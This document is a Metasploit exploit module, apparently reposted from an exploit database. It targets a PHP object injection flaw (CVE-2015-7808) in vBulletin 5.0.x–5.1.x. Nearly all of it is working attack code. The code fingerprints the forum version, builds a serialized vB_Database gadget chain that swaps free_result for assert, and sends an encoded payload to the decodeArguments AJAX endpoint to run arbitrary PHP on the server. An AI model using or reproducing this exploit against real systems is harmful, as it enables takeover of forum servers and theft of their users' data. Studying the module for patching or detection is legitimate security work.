###########################

# vBulletin 5.1.2 Unserialize Code Execution Vulnerability

###########################

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin 5.1.2 Unserialize Code Execution',
'Description' => %q{
This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
},
'Platform' => 'php',
'License' => MSF_LICENSE,
'Author' => [
'Netanel Rubin', # reported by
'cutz', # original exploit
'Julien (jvoisin) Voisin', # metasploit module
],
'Payload' =>
{
'BadChars' => "x22",
},
'References' =>
[
['CVE', '2015-7808'],
['EDB', '38629'],
['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
],
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Targeting', { 'auto' => true } ],
['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
],
'DisclosureDate' => 'Nov 4 2015',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
], self.class)
end

def check
begin
res = send_request_cgi({ 'uri' => target_uri.path })
if (res && res.body.include?('vBulletin Solutions, Inc.'))
if res.body.include?("Version 5.0")
@my_target = targets[1] if target['auto']
return Exploit::CheckCode::Appears
elsif res.body.include?("Version 5.1")
@my_target = targets[2] if target['auto']
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
end

def exploit
print_status("#{peer} - Trying to inferprint the instance...")

@my_target = target
check_code = check

unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
end

if @my_target.nil? || @my_target['auto']
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
end

print_status("#{peer} - Exploiting #{@my_target.name}...")

chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
chain << @my_target["chain"].length.to_s
chain << ':"'
chain << @my_target["chain"]
chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
chain << "#{payload.encoded.length}:"#{payload.encoded}";}"

chain = Rex::Text.uri_encode(chain)
chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
'vars_get' => {
'arguments' => chain
},
'encode_params' => false,
})
end
end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-11-22]

###########################